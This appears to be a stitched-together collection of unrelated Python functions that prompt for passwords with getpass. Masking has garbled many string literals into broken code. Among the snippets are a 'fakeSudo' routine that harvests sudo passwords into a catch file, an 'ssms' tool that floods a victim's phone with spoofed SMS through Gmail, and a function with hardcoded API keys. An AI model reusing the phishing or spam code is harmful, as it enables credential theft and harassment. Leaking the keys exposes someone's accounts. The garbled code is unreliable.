def getPassword(): # A function to print out a list of rules for the user to follow when # entering in their new 'Password' for their 'account' in the system and to # then take in a new 'Password' string variable before checking the # validity of the given 'Password' from the user. If this returns 'True', # it breaks out of the loop before asking the user to enter in their # 'Password' again to make sure the user entered it correctly to their own # liking the first time. If the confirmation variable matches the original, # then the original is passed back to the calling function, else it loops # back to the beginning of the function. while True: consoleClear() print('Password must be between 8-16 characters long.') print('Password must contain lowercase and uppercase.') print('Password must contain at least one number.') print('Password must not contain spaces.\n') while True: Password = getpass('New password: '******'Please confirm new password: '******'Passwords don\'t match. Press enter to try again.\n')
def fakeSudo(): def savePass(passwd): try: file = open(catchFile, 'a') except: file = open(catchFile, 'w') catch = "%s|%s|%s\n" % (getuser(), passwd, str(time.ctime())) file.write(catch) file.close() # Catch pass: try: passwd = getpass("[fakesudo] password for %s: " % getuser()) except KeyboardInterrupt: passwd = getpass("Password: "******"%s" | sudo -s %s' % (passwd, " ".join(sys.argv[2:])) os.system(sudocmd)
def getUsersStats(): consoleClear() username = input('See stats of which user? ').lower() if checkUsernameExists(username): getStats(username) else: getpass('Sorry, that user does not exist. Press enter to return.')
def userpass(): '''Please enter your new username and password below''' print '==' * n try: user_id = input('Enter the User id: ') user = User.get(User.id == user_id) except User.DoesNotExist: print 'User does not exist in the database please create a new user' return None except: return None print '==' * n username = raw_input('Username: '******'Password: '******'': return None pass2 = getpass('Comfirm Password: '******'Do you want to continue [y,n]: ').lower().strip() if opt == 'y': if pass1 == pass2 and username: user.username = username user.password = pass1 user.save() print 'Data havw been saved' else: print 'Passwords do not march or username was blank' else: print 'Aborted' print '==' * n
def profile(i): print("Welcome{}".format(bank['user'][i]).center(200, "*")) print("\n1.update Name") print("\n2.Delete Account") print("\n3.logout") ch = int(input("enter your choice:")) if ch == 1: name = input("enter new name:") bank["name"][i] = name update() choice(i) elif ch == 2: cp = getpass("enter current password:"******"enter New Password:"******"confirm password:"******"Password Sucessfully Updated") main() else: print("password Incorrect") main() elif ch == 3: bank['name'].pop(i) bank['acc'].pop(i) bank['bal'].pop(i) bank['password'].pop(i) update() print("Bye Bye") print("Your account Sucessfully Deleted") main()
def password(): '''Please enter your new password below''' print '==' * n try: user_id = input('Please Enter your user id: ') user = User.get(User.id == user_id) pass1 = getpass('Password: '******'': return None pass2 = getpass('Confirm Password: '******'Do u want to continue [y,n]: ').lower().strip() if opt == 'y': if pass1 == pass2: user.password = pass1 user.save() print 'Passowrd changed' else: print 'Passwords do not match' else: print 'Aborted' except User.DoesNotExist: print 'User does not exist' except: pass print '===' * 20
def new(): '''Please enter your new details''' print '==' * n username = raw_input('Username: '******'Username already in use. please choose a different name.' print '==' * n return None except: pass pass1 = getpass('Password: '******'': return None print '==' * n pass2 = getpass('Confirm Password: '******'Do you want to continue [y,n]: ').lower().strip() if opt == 'y': if pass1 == pass2 and username: User.create(username=username, password=pass1) print 'New user have been created successfully.' else: print "Passowrds didn't match or username was blank" else: print 'Aborted' print '==' * n
def userpass(): '''Please enter your new username and password below''' print '==============================================' try: user_id = input('Enter the User id: ') user = User.get(User.id==user_id) except User.DoesNotExist: print 'User does not exist in the database please create a new user' except: pass print '====================================================' username = raw_input('Username: '******'Password: '******'': pass pass2 = getpass('Comfirm Password: '******'Do you want to continue [y,n]: ').lower().strip() if opt == 'y': if pass1 == pass2 and username: user.username=username user.password=pass1 user.save() print 'Data havw been saved' else: print 'Passwords do not march or username was blank' else: print 'Aborted' print'====================================================='
def password(): '''Please enter your new password below''' print '======================================================' try: user_id = input('Please Enter your user id: ') user = User.get(User.id == user_id) pass1 = getpass('Password: '******'': pass pass2 = getpass('Confirm Password: '******'Do u want to continue [y,n]: ').lower().strip() if opt == 'y': if pass1 == pass2: user.password=pass1 user.save() print 'Passowrd changed' else: print 'Passwords do not match' else: print 'Aborted' except User.DoesNotExist: print 'User does not exist' except: pass print '==================================================='
def collectLogin(mainArg, userN='', pw='', acct=''): ''' Collects host, username, password, and optional account information. ''' log.debug(sys.platform) if sys.platform == 'linux2': try: ftpInfo = netrc() if ftpInfo.authenticators(remoteSrv) != None: userN, acct, pw = ftpInfo.authenticators(remoteSvr) except IOError: log.warning('No .netrc file found') if '@' in mainArg[0]: upBundle, remoteSvr = mainArg[0].split('@') if ':' in upBundle: userN, pw = upBundle.split(':') else: userN = upBundle else: remoteSvr = mainArg[0] if len(userN) == 0: userN = input('Username at {}: '.format(remoteSvr)) if len(pw) == 0: try: pw = getpass() except GetPassWarning: log.warning('Password echo off failed') if input("WARNING! Password may be echoed, press 'y' to continue anyways: ").upper() == 'Y': pw = getpass() else: printAndLog('Echoed password input aborted by user, {} exiting'.format(PROG_TITLE), log.INFO, True) sys.exit(3) log.debug(userN) return (remoteSvr.strip(), userN.strip(), pw.strip(), acct.strip())
def viewMatches(Field, Search=None): # A function to handle all but the actual printing of a selection of # matches retrieved from the 'getMatchesByField' function after being # given a field and a search value. Creates and applies a makeshift # 'page' system also for the viewer to be able to navigate given # results easily. page = 1 while True: matches, len = getMatchesByField(Field, Search, ((page - 1) * -10) - 1, (page * -10) - 1) if not matches: getpass('\nNo matches found from that search. ' + 'Press enter return.') break else: pages = int(len / 10 if len % 10 == 0 else (len // 10) + 1) printMatches(matches[::-1]) print(f'Currently on page {page}/{pages}.') newPage = input('Enter new page no. or leave blank to return: ') if newPage: correct = checkPageNo(newPage, pages) if correct: page = correct else: break
def __log_usr(self, check=0): """Ensure that the user has the good credentials Parameters: check : [optionnal] 1 if this is a verification (if 0 the user will have to type his password twice) Returns: (name, password) : if the user is connected, returns its credentials """ name = input('Name> ') psswd = 'foo' if not check: verif = 'bar' while psswd != verif: psswd = getpass('Password> ') verif = getpass('Repeat password> ') if psswd != verif: self.__cli_print('\nPasswords don\'t match', COLOR_FAIL) else: psswd = getpass('Password> ') return name, psswd
def enter(): global TOTAL_ENTER TOTAL_ENTER += 1 if TOTAL_ENTER > 8: exit() getpass(f"\n {C}[{W} Press Enter to Back {C}]{W}") CURRENT_FUNC() exit()
def tryResetUser(Username): # Function to instigate the resetting of a user's matches by asking for # two sets of confirmation data. if checkPasswordMatch(Username): while True: confirm = input('Finally, enter your username to confirm reset: ') if confirm == Username: resetUser(Username) getpass('User stats have been reset. Press enter to return.')
def main (): global session login = raw_input("Por favor, informe um usuario e senha validos\nLogin: "******"NOK": login = raw_input("senha ou usuario incorretos, informe um usuario e senha validos\nLogin: ") p = getpass() session = Session(login, p) CMDParser().cmdloop()
def make_server_password(): """ @rtype : str """ temp_password = getpass(prompt="Please type your password:"******"Confirm your password:") if temp_password == temp_password2: temp_password = hashlib.md5(temp_password).hexdigest() return temp_password else: make_server_password()
def ip(): host = socket.gethostname() print(g + '[' + C + '*' + g + '] Hostname : ' + host) try: print(g + '[' + C + '*' + g + '] IP Address : ' + socket.gethostbyname('google.com')) except socket.gaierror: tik(g + '[' + R + '!' + g + '] IP Address : No connection') getpass( g + '[' + R + '!' + g + '] This tools required internet\n' + g + '[' + R + '!' + g + '] Prees [Enter] to Continue but functions may not work properly')
def tryDeleteUser(Username): # Function to instigate the resetting of a user's matches and deletion of # a user's account by asking for two sets of confirmation data. if checkPasswordMatch(Username): while True: consoleClear() confirm = input( 'Finally, enter your username to confirm deletion: ') if confirm == Username: resetUser(Username) deleteUser(Username) getpass('User has been deleted. Press enter to return.') return True
def viewMatchesByUser(): # A function to take in a string from the user, check if it exists as a # 'Username' in the database and then run the 'viewMatches' function and # return with any records in the 'Matches' table that match the 'Username'. while True: consoleClear() Search = input('Search for matches by username: '******'\nNo matches found from that search. Press enter return.') return viewMatches('Username', Search)
def StartClient1(): global client1 try: client1.connect() if not client1.is_user_authorized(): client1.start(force_sms=False) SelfUser1 = client1.get_me() except: if not client1.is_connected(): getpass( "You are not connected to the internet or the phone was given in the incorrect format. Check your connection and press ENTER to try again: " ) StartClient1() return
def getUsername(): # A function to take in an input from the user to act as a 'Username' # string variable which then gets checks for existence within the database # as an already in-use record. If the 'Username' does not exist within the # database 'Users' table, or the length of the username is not between six # and 12 characters the user has to try another string to use. while True: consoleClear() Username = input('Username: '******'Username already in use. Press enter to try again.') elif len(Username) > 12 or len(Username) < 6: getpass('Username has to be between 6 and 12 characters long.') else: return Username
def vboxSsh(host, username, port, key, local, remote): """ Establish a ssh connection to a given or retrieved repository URL and upload the locally committed VM """ keyfile = os.path.expanduser(key) server, user = (host, username) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: key = paramiko.DSSKey.from_private_key_file(key) except paramiko.PasswordRequiredException: passph = getpass('Type your key passphrase: ') key = paramiko.DSSKey.from_private_key_file(key, passph) # Connection ssh.load_host_keys(os.path.expanduser(os.path.join("~", ".ssh", "known_hosts"))) ssh.connect(server, port, username=user) local_path = local remote_path = remote sftp = ssh.open_sftp() sftp.put(local_path, remote_path) sftp.close() ssh.close()
def begin_scraper(): br = Browser() br.addheaders = [('User-agent', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8; rv:16:0) Gecko/20100101 Firefox/16.0')] br.set_handle_robots(False) br.open("https://wwws.mint.com/login.event") assert br.viewing_html() formcount=0 for f in br.forms(): if str(f.attrs["id"]) == "form-login": break formcount = formcount+1 br.select_form(nr=formcount) br["username"] = "******" #Put your username here br["password"] = getpass() #import pdb; pdb.set_trace() # Submit the user credentials to login to mint response = br.submit() response = br.follow_link(text="Transactions") links_to_transactions = br.links(text_regex="Export all \d+ transactions") link = "" for f in links_to_transactions: link = f response2 = br.follow_link(link) text_file = open("transactions.csv", "w") text_file.write(response2.read()) text_file.close()
def setup(self): """Run an interactive setup for user configuration.""" print('Config Setup...') import ruamel.yaml for k, v in self.settings.items(): if k not in ['password', 'user']: msg = input(f'{k} (default={v}): ') if msg: msg = ruamel.yaml.load(msg, Loader=ruamel.yaml.SafeLoader) self.__dict__[k] = msg msg = input( 'Would you like to link a user account with the xmen server? [y | n]: ' ) if msg == 'y': user = input('user: '******'ERROR: {m.msg}') # finally if os.path.exists(os.path.join(self._dir, 'config.yml')): msg = input( 'Found old config. Would you like to move ' 'experiments across to the new configuration? [y | n]: ') if msg == 'y': self._migrate() self.to_yml()
def get_sudo(self) -> bool: """ Elevate the privileges of the current shell session To use: >>> sh = Shell() >>> sh.is sudo() False >>> sh.get_sudo() True Returns: bool: is sudo """ sudo = self.exec["sudo"] try: sudo["ls"]() return True except ProcessExecutionError as e: if ("no password" in e.stderr) or ("-S" in e.stderr): __pass = getpass("Sudo password: "******"--stdin"]["ls"].popen(stdin=PIPE) out = p.communicate(f"{__pass}\n".encode(), timeout=2) return True else: self.console.print_exception() return self.is_sudo()
def getEditableDate(): # A function take in three integer values from the user and to run them # through the imported 'datetime.date' function to create a 'date' object # that is then passed back to the calling function if it succeeds with # an edited string version of the 'date' object. consoleClear() while True: try: Day = int(input('Enter day: ')) Month = int(input('Enter month: ')) Year = int(input('Enter year: ')) newDate = dt.date(Year, Month, Day) break except: getpass('Invalid date entered. Press enter to try again.') return newDate.strftime('%d/%m/%Y')
def printStats(stats, username): consoleClear() print(f'- Base stats ({username}) -\n') print(f"{'Total matches played: ':<30}" + f'{stats[0]:>10}') print(f"{'Total match wins: ':<30}" + f'{stats[1]:>10}') print(f"{'Percentage win rate: ':<30}" + f'{stats[2]:>10}') print(f"{'Common AI depth (recent): ':<30}" + f'{stats[7]:>10}') print(f"{'Last played game: ':<30}" + f'{stats[6]:>10}') print('\n- More stats (most / least / average). -\n') print(f"{'Pieces left:':<20}" + f'{stats[3][0]:>4} /{stats[3][1]:>4} /{stats[3][2]:>4}') print(f"{'Point advantage:':<20}" + f'{stats[4][0]:>4} /{stats[4][1]:>4} /{stats[4][2]:>4}') print(f"{'Moves made:':<20}" + f'{stats[5][0]:>4} /{stats[5][1]:>4} /{stats[5][2]:>4}\n') getpass('Press enter to continue:')
def logIn(): # A more complex function to allow the user to 'Log in'. Is very similar to # the function 'checkPasswordMatch' in that it checks a 'Username' and # 'Password' input against the 'Users' table in the same way by retrieving # the 'Username' field in any records in the 'Users' table where there is a # match. If there is a match, the program runs another function called # 'getSessionDetails' whose purpose is already explained previously before # returning the data it gets from 'getSessionDetails' along with a boolean # denoting whether to continue trying to log in or not. If however, it does # not find a match, it allows the user to choose to try re-entering their # data and either exits or loops back around depending on what the user # enters. while True: consoleClear() Username = input('Username: '******'Password: '******'Invalid username/password. Retry? (yN) ') if tryAgain.lower() != 'y': return False
def username_pass(): pass #username=input('enter username') #password=input('enter password') user = getuser() p = getpass() while True: pwd = getpass("User Name : %s" % user) if pwd == 'abcd': print "Welcome!!!" break else: print "The password you entered is incorrect." f=open()
def __smsAuth(self, smsKey=None): if smsKey is None: smsKey = config.smsKey if smsKey is None: from getpass import getpass smsPin = getpass("SMS PIN: ") content = self.__do_page('smsauth', {'smsUserPin': smsPin}).read() else: smsKey = base64.b32decode(re.sub(r' ', '', smsKey), casefold=True).encode("hex") content = self.__oathtoolAuth(smsKey) try_count = 1 while ("The code you entered didn't verify." in content and try_count < 5): sleep_seconds = 10 try_count += 1 print('invalid code, retrying after %s seconds (attempt %s)' % (sleep_seconds, try_count)) import time time.sleep(sleep_seconds) content = self.__oathtoolAuth(smsKey) del smsKey return content
def main(): """Ingest a text into Tesserae. Takes a .tess files and computes tokens, features, frequencies, and units. All computed components are inserted into the database. """ args = parse_args() if args.password: password = getpass(prompt='Tesserae MongoDB Password: ') else: password = None connection = TessMongoConnection(args.host, args.port, args.user, password, db=args.database) text_hash = hashlib.md5() text_hash.update(TessFile(args.input).read().encode()) text_hash = text_hash.hexdigest() text = Text(language=args.language, title=args.title, author=args.author, year=args.year, path=args.input, hash=text_hash, is_prose=args.prose) ingest_text(connection, text, enable_multitext=args.enable_multitext)
def create(d): global c c = c + 1 name = input("enter your name =") user_name = input("enter your user name =") acc_type = input("want to open \n\t1. Saving \n\t2. Current ") aadhar = input("Enter your aadhar number =") while (len(aadhar) != 16): aadhar = input("Enter your Correct aadhar number =") number = input("Enter your contact number =") while (len(number) != 10): number = input("Enter your Correct contact number =") age = input("Enter your age =") mail = input("Enter your E-mail Address =") #while(not validate_email()): #mail=input("Enter Correct E-mail Address =") pas = getpass("Enter your password ="******"Enter your initial amount (minimum 2000) =")) while (amount < 2000): print("Amount should be greater or equal to 2000") amount = int(input("Enter your initial amount (minimum 2000)")) data = { c: [name, user_name, acc_type, aadhar, number, age, mail, pas, amount] } if type(d) != dict: d = {} d.update(data) return d
def loginorregister(server, cmd): while 1: sys.stdout.write("Enter username: "******"Enter password: "******"Invalid username!" continue if cmd == "register": msg = "register " + name_list[0]+ ' '+ password + '\n' else: msg = "login " + name_list[0] + ' '+password+'\n' server.send(msg) #wait for server server.setblocking(1) code = server.recv(1024) print code if code == "registerok\n": print "Registeration success!" return name_list[0] break; elif code == "loginok\n": print "Login success" return name_list[0] break; else: print "Invalid username!"
def upload_model(args): """ Uploads Model specification, auxiliary files and :return: """ username = raw_input("Enter your epigrass Web User id:") passwd = getpass("Enter your Epigrass Web password:"******"http://app.epigrass.net/simulations/view/new/" # creating the app id r = requests.get(app_url, auth=(username, passwd)) fields = {'epg': (S.modelName, open(S.fname, 'rb'), 'text/plain')} if os.path.exists(os.path.join(S.outdir, 'data.json')): fields['map'] = ('data.json', open(os.path.join(S.outdir, 'data.json'), 'rb'), 'text/plain') if os.path.exists(os.path.join(S.outdir, 'series.json')): fields['series'] = ('series.json', open(os.path.join(S.outdir, 'series.json'), 'rb'), 'text/plain') if os.path.exists(os.path.join(S.outdir, 'network.json')): fields['network'] = ('network.json', open(os.path.join(S.outdir, 'network.json'), 'rb'), 'text/plain') if os.path.exists(os.path.join(S.outdir, 'spread.json')): fields['spread'] = ('spread.json', open(os.path.join(S.outdir, 'spread.json'), 'rb'), 'text/plain') hdrs = {'Content-Type': fields.content_type, 'content-encoding': 'gzip', 'transfer-encoding': 'chunked'} r = requests.post(app_url, files=fields, headers=hdrs) if r.status_code == requests.codes.ok: print "Model has been uploaded sucessfully!" else: print "Model Upload failed."
def auth_user( user=None, pass_=None ): import getpass if user is None: user = raw_input( 'User: '******'Password: ' ) return ( user, pass_ )
def main(): # SmartyStreet API crendentials SSID = "c23eec09-b403-4409-952d-9ad28035785a" SSTOK = "3UWB4JSlV3eo2yiM994h" # Google Maps API credentials GMKEY = "AIzaSyBK1u0qCRMmbnT5Y4Z9wEINbuyUjenF7ug" print "\nThis tool maps addresses mentioned in your email to contacts and gives you the option of receiving directions." print "For use with Gmail. Creating an application specific password is necessary.\n" # Input email credentials while True: emailAddress = raw_input("Gmail Address: ") while not validate_email(emailAddress): print '%s is not a valid email address.' % emailAddress print 'Please try again with proper email.' emailAddress = raw_input("Gmail Address: ") password = getpass("Application Specific Password:"******"Error logging into Gmail: " + str(e) print "Please try again with proper credentials.\n" else: break
def __smsAuth(self, smsKey=None): if smsKey is None: smsKey = config.smsKey if smsKey is None: from getpass import getpass smsPin = getpass("SMS PIN: ") content = self.__do_page('smsauth', {'smsUserPin': smsPin}).read() else: smsKey = base64.b32decode( re.sub(r' ', '', smsKey), casefold=True).encode("hex") content = self.__oathtoolAuth(smsKey) try_count = 1 while ("The code you entered didn't verify." in content and try_count < 5): sleep_seconds = 10 try_count += 1 print( 'invalid code, retrying after %s seconds (attempt %s)' % (sleep_seconds, try_count)) import time time.sleep(sleep_seconds) content = self.__oathtoolAuth(smsKey) del smsKey return content
def sign_up(self, boolean_admin): print("To Sign Up Please Enter Below Details:") name = input("Name: ") email_id = input("Email: ") password = getpass("Password : "******"Sign Up Successfull !!") return self.admin_id else: # normal user or customer print("Sign Up Successfull !!") return self.user_id
def transfer_figure_eight_job(base_dir, job_id_to_copy, new_stage, job_name, rgb_mode=False, label_only=False, pixel_only=False): """Create a Figure 8 job based on the output of a previous Figure8 job Args: base_dir: full path to job directory job_id_to_copy: ID number of Figure 8 job to use as template for new job new_stage: specifies new_stage for subsequent job job_name: name for next job pixel_only: flag specifying whether annotators will be restricted to pixel edit mode label_only: flag specifying whether annotators will be restricted to label edit mode rgb_mode: flag specifying whether annotators will view images in RGB mode """ key = str(getpass("Figure eight api key?")) # copy job without data new_job_id = copy_job(job_id_to_copy, key) print('New job ID is: ' + str(new_job_id)) # set name of new job rename_job(new_job_id, key, job_name) # get info from previous stage log_dir = os.path.join(base_dir, 'logs') previous_log_file = get_latest_log_file(log_dir) previous_log = pd.read_csv(os.path.join(log_dir, previous_log_file)) filenames = previous_log['filename'] previous_stage = previous_log['stage'][0] aws_folder = previous_log['aws_folder'][0] current_bucket = os.path.join(aws_folder, previous_stage) next_bucket = os.path.join(aws_folder, new_stage) # transfer files to new stage aws_copy_files(current_folder=current_bucket, next_folder=next_bucket, filenames=filenames) new_log_name = _create_next_log_name(previous_log_file, new_stage) # TODO: Decide if this should be handled by a separate function that is specific to transfer? _, _, filepaths, _ = create_job_urls(crop_dir=os.path.join(base_dir, 'crop_dir'), aws_folder=aws_folder, stage=new_stage, pixel_only=pixel_only, label_only=label_only, rgb_mode=rgb_mode) # Generate log file for current job create_upload_log(base_dir=base_dir, stage=new_stage, aws_folder=aws_folder, filenames=filenames, filepaths=filepaths, job_id=new_job_id, pixel_only=pixel_only, rgb_mode=rgb_mode, label_only=label_only, log_name=new_log_name) log_path = open(os.path.join(base_dir, 'logs', new_log_name), 'r') log_file = log_path.read() # upload log file upload_log_file(log_file, new_job_id, key) return log_file
def __setconfig__(self): self.login = raw_input('Digite o seu login! => ') if(re.match('^([A-Za-z0-9\_]){4,15}$',self.login)): self.passwd = getpass('Digite sua senha! => ') print "Configurado com sucesso!\n" else: print "Login invalido!\n" self.__setconfig__()
def adduser(): name = raw_input("Name: ") email = raw_input("Email: ") if session.query(User).filter_by(email=email).first(): print "User with that email address already exists" return password = "" password_2 = "" while not (password and password_2) or password != password_2: password = getpass("Password: "******"Re-enter password: ") break user = User(name=name, email=email, password=generate_password_hash(password)) session.add(user) session.commit()
def prompt_credentials(): # prompts user for username and password and returns [username, password] username = input("Username:\n") prompt = binary_prompt( "Use {} as your username? yes or no\n".format(username)) if prompt: pass else: return prompt_credentials() password = getpass() print("To prevent lockouts please re-enter your password\n") verify_password = getpass() if password == verify_password: return [username, password] else: print("Passwords do not match\n") return prompt_credentials()
def ssms(): os.system('clear') print "" + B + "" print(""" [+]==========================================[+] [+]Single SMS Attack-------------------------[+] [+]==========================================[+] "AT&T: @txt.att.net" "Qwest: @tmomail.net" "T-Mobile: @tmomail.net" "Verizon: @vtext.com" "Sprint: @messaging.sprintpcs.com or @pm.sprint.com" "Virgin Mobile: @vmobl.com " "Nextel: @messaging.nextel.com" "Alltel: @message.alltel.com" "Metro PCS: @mymetropcs.com" "Powertel: @ptel.com" "Boost Mobile: @myboostmobile.com" "Suncom: @tms.suncom.com" "tracfone: @mmst5.tracfone.com" "U.S Cellular: @email.uscc.net" "Put the @ sign before the provider" """) provider = raw_input(color.UNDERLINE + 'Enter cellular provider>' + color.END) print "" + T + " " phone_num = raw_input(color.UNDERLINE + 'Victims phone number>' + color.END) + provider print "" + T + " " gmail = raw_input(color.UNDERLINE + 'Your email>' + color.END) print "" + T + " " password = getpass(color.UNDERLINE + 'Password>' + color.END) fromname = '.' + ' ' + raw_input( color.UNDERLINE + 'Name of the user you want target to see' + color.END) print( "This function should make your message anonymous, unless google fixes the this flaw" ) o = smtplib.SMTP("smtp.gmail.com:587") o.starttls() o.login(gmail, password) print "" + T + " " message = raw_input(color.UNDERLINE + 'Message>' + color.END) print "" + T + " " counter = input(color.UNDERLINE + 'How many times>' + color.END) print "" + T + " " spam_msg = "From: {} \r\nTo: {} \r\n\r\n {}".format( fromname, phone_num, message) print(color.UNDERLINE + '' + G + '[*] Sending...' + color.END) for i in range(counter): o.sendmail(gmail, phone_num, spam_msg) sleep(0.004) print(phone_num) print(color.UNDERLINE + '' + G + '[*] Successfully sent ' + str(counter) + ' Messages!' + color.END) menuit()
def AuthenticateCustomer(): # Get account AccountId = raw_input("AccountID: ") clientSocket.send(AccountId) clientSocket.recv(SERVER_MSG_SIZE) Password = getpass() clientSocket.send(Password) clientSocket.recv(SERVER_MSG_SIZE)
def downloadAll(username, courseName): br = Browser() br.addheaders = [ ( "User-agent", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9", ) ] br.set_handle_robots(False) br.open("https://myvideosu.stanford.edu/oce/currentquarter.aspx") assert br.viewing_html() br.select_form(name="login") br["username"] = username br["password"] = getpass() # Open the course page for the title you're looking for print "Logging in to myvideosu.stanford.edu..." response = br.submit() print "Logged in, going to course link." response = br.follow_link(text=courseName) # print response.read() # response = br.follow_link(text="HERE") # print response.read() # Build up a list of lectures print "Loading video links." links = [] for link in br.links(text="WMP"): links.append(re.search(r"'(.*)'", link.url).group(1)) link_file = open("links.txt", "w") # So we download the oldest ones first. links.reverse() print "Found %d links, getting video streams." % (len(links)) videos = [] for link in links: response = br.open(link) soup = BeautifulSoup(response.read()) video = soup.find("object", id="WMPlayer")["data"] video = re.sub("http", "mms", video) video = video.replace(" ", "%20") # remove spaces, they break urls output_name = re.search(r"[a-z]+[0-9]+[a-z]?/[0-9]+", video).group(0).replace("/", "_") # + ".wmv" output_wmv = output_name + ".wmv" link_file.write(video + "\n") print video output_mp4 = output_name + ".mp4" videos.append((video, output_wmv, output_mp4)) link_file.close() print "Downloading %d video streams." % (len(videos)) for video in videos: download(video) print "Done!"
def startProtocol(self): print "Starting server..." try: pw = getpass() self.db = connect(host="localhost",user="******",passwd=pw, \ db="iphone_obd2",port=3306, connect_timeout=5) except OperationalError: print "Error!" return print self.db self.cursor = self.db.cursor()
def dbInfo(): # User imputs Oracle username/password dbusr = str(input("Please input Oracle db username: "******"/" + dbpass + "@gwynne.cs.ualberta.ca:1521/CRS") return constr
def download_email(username): mailbox = poplib.POP3_SSL(GOOGLE_POP3_SERVER, '995') mailbox.user(username) password = getpass(prompt="Enter your google's password: "******"Total emails: %s" %num_messages print "Getting last message" for msg in mailbox.retr(num_messages)[1]: print msg mailbox.quit()
def auth_io(inv=False): """ an interactive authentication """ from getpass import getpass uid = raw_input('Username: '******'Password: ') if inv: print dict(auth_inv(uid,passwd)) else: print auth_ldap(uid,passwd)
def new(): '''Please enter your new details''' print '====================================================' username = raw_input('Username: '******'Username already in use. please choose a different name.' print '======================================================' return pass1 = getpass('Password: '******'': pass pass2 = getpass('Confirm Password: '******'Do you want to continue [y,n]: ').lower().strip() if opt == 'y': if pass1 == pass2 and username: User.create(username=username, password=pass1) print 'New user have been created successfully.' else: print "Passowrds didn't match or username was blank" else: print 'Aborted' print '====================================================='
def main(): args = parse_arguments(sys.argv) # Process command line arguments # Set user to connect as if args.user: user = args.user elif defaults['user'] != '': user = defaults['user'] else: user = getuser() # Set password for connecting if args.password: password = args.password elif defaults['password'] != '': password = defaults ['password'] else: password = getpass('Password for %s: ' % user) # Generate device list if args.device: devices = [args.device] elif args.device_list: devices = get_device_list(args.device_list) elif defaults['devices'] != []: devices = defaults['devices'] else: print 'ERROR: No device(s) specified' sys.exit(1) # Set output directory if args.output: todir = args.output else: todir = defaults['outdir'] # Build the list of commands to run if args.command: commands = [args.command] elif args.file: commands = get_commands_list(args.file) elif defaults['commands'] != []: commands = defaults['commands'] else: print 'ERROR: No commands were specified' sys.exit(1) # Run commands on device run_commands(devices, user, password, commands, todir)
def downloadAll(username, courseName): br = Browser() br.addheaders = [('User-agent', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9')] br.set_handle_robots(False) br.open('https://myvideosu.stanford.edu/oce/currentquarter.aspx') assert br.viewing_html() br.select_form(name='login') br['username'] = username br['password'] = getpass() # Open the course page for the title you're looking for print 'Logging in to myvideosu.stanford.edu...' response = br.submit() print 'Logged in, going to course link.' response = br.follow_link(text=courseName) # Build up a list of lectures. print 'Loading video links.' links = [] for link in br.links(text='WMP'): links.append(re.search(r"'(.*)'", link.url).group(1)) # So we download the oldest ones first. links.reverse() print 'Found %d links, getting video streams.' % len(links) videos = [] for link in links: response = br.open(link) soup = BeautifulSoup(response.read()) video = soup.find('object', id='WMPlayer')['data'] video = re.sub('http', 'mms', video) video = video.replace(' ', '%20') # remove spaces, they break urls output_name = re.search(r'[a-z]+[0-9]+[a-z]?/[0-9]+', video).group(0).replace('/', '_') output_wmv = output_name + '.wmv' print video videos.append((video, output_wmv)) print 'Downloading %d video streams.' % (len(videos)) for video in videos: download(video) print 'Done!'
def loginorregister(server, cmd): while 1: sys.stdout.write("Enter username: "******"Enter password: "******"[31mInvalid username![0m" continue if cmd == "register\n": msg = "register " + username + ' '+ password + '\n' else: msg = "login " + username + ' '+password+'\n' server.send(msg) #wait for server server.setblocking(1) code = server.recv(1024) if code == "registerok\n": print "Registeration success!" return name_list[0] break; elif code == "loginok\n": print "Login success" return name_list[0] break; else: print "[31mInvalid username![0m" sys.stdout.write("Try again?([30m[0my/[3mn[0m): ") sys.stdout.flush() again_input = sys.stdin.readline() if again_input != "y\n": os.system('clear') logoutfile = open("./logout.txt", "r") sys.stdout.write(logoutfile.read()) sys.stdout.flush() logoutfile.close() sys.exit(0)
async def acquire_session(): # Initialize Telegram logging.info("Connecting to Telegram...") client = TelegramClient('telegram_client', os.environ['TG_API_ID'], os.environ['TG_API_HASH'], loop=loop) await client.connect() logging.info("Logging in to Telegram...") if not await client.is_user_authorized(): logging.info("User unauthorized") await client.send_code_request(os.environ['TG_PHONE']) code_ok = False while not code_ok: code = input('Enter the auth code: ') try: code_ok = await client.sign_in(os.environ['TG_PHONE'], code) except SessionPasswordNeededError: password = getpass('Two step verification enabled. ' 'Please enter your password: ') code_ok = await client.sign_in(password=password) logging.info("Client initialized succesfully")
def cm_manage(): """Usage: cm-manage config projects list cm-manage config projects cm-manage config [-f FILE] [-o OUT] [-p PROJECT] cloud NAME [-] cm-manage config dump [--format=(yaml|dict)] cm-manage config init [-o OUT] [-u USER] cm-manage config list cm-manage config password NAME cm-manage config show passwords cm-manage config fetch [-u USER] [-r HOST] cm-manage --version cm-manage --help Arguments: NAME name of the cloud Options: -h --help show this help message and exit -v --version show version and exit -f NAME --file=NAME the Name of the cloud to be specified, if ? a selection is presented -o OUT --out=OUT writes the result in the specifide file -p PROJECT --project=PROJECT selects a project (e.g. for eucalyptus which has project-specific environments) -u USER --user=USER the user (login) name -r HOST --remote=HOST the host machine on which the yaml file is located in the ~/.futuregrid directory [default: sierra.futuregrid.org] -d --debug debug - this option is a - at the end of the command. If data is written to a file it is also put out to stdout Description: Command to generate rc files from our cloudmesh configuration files. This program generates form a YAML file containing the login information for a cloud an rc file that can be used to later source it. Example: we assume the yaml file has an entry india-openstack:: cm-manage config -o novarc india-openstack source novarc This will create a novarc file and than you can source it:: cm-manage config ? - Presents a selction of cloud choices and writes the choice into a file called ~/.futuregrid/novarc """ default_path = '.futuregrid/novarc' arguments = docopt(cm_manage.__doc__) DEBUG("arguments", arguments) home = os.environ['HOME'] # DEBUG("home", home) # # This secion deals with handeling "cm config" related commands ###################################################################### is_config = arguments['config'] != None if is_config: # DEBUG('Arguments', arguments) file = arguments['--file'] try: config = cm_config(file) # DEBUG("config", config) except IOError: print "{0}: Configuration file '{1}' not found".format("CM ERROR", file) sys.exit(1) except (yaml.scanner.ScannerError, yaml.parser.ParserError) as yamlerror: print "{0}: YAML error: {1}, in configuration file '{2}'".format("CM ERROR", yamlerror, file) sys.exit(1) except: print "Unexpected error:", sys.exc_info()[0] sys.exit(1) name = arguments['NAME'] # # NOT TESTED # if arguments['fetch'] or name == 'fetch': DEBUG('Arguments', arguments) # get user var = {} var['user'] = arguments['--user'] 